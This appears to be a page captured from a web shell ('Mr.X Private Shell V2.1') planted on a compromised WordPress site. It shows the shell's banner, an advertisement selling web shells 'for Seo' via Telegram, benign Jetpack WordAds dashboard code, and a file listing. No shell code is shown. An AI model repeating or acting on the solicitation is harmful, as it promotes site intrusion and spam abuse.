__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { ThemeProvider } from '@automattic/jetpack-components';
import { createReduxStore, register } from '@wordpress/data';
import * as WPElement from '@wordpress/element';
import React from 'react';
import WordAdsDashboard from './components/dashboard';
import { STORE_ID, storeConfig } from './store';
const store = createReduxStore( STORE_ID, storeConfig );
register( store );
/**
* Mounts the Search Dashboard to #jp-wordads-dashboard if available.
*/
function init() {
const container = document.getElementById( 'jp-wordads-dashboard' );
if ( container === null ) {
return;
}
const component = (
<ThemeProvider>
<WordAdsDashboard />
</ThemeProvider>
);
WPElement.createRoot( container ).render( component );
}
// Initialize the dashboard when DOMContentLoaded is fired, or immediately if it already has been.
if ( document.readyState !== 'loading' ) {
init();
} else {
document.addEventListener( 'DOMContentLoaded', init );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| components | Folder | 0755 |
|
|
| scss | Folder | 0755 |
|
|
| store | Folder | 0755 |
|
|
| class-dashboard.php | File | 3.15 KB | 0644 |
|
| class-initial-state.php | File | 2.95 KB | 0644 |
|
| index.jsx | File | 957 B | 0644 |
|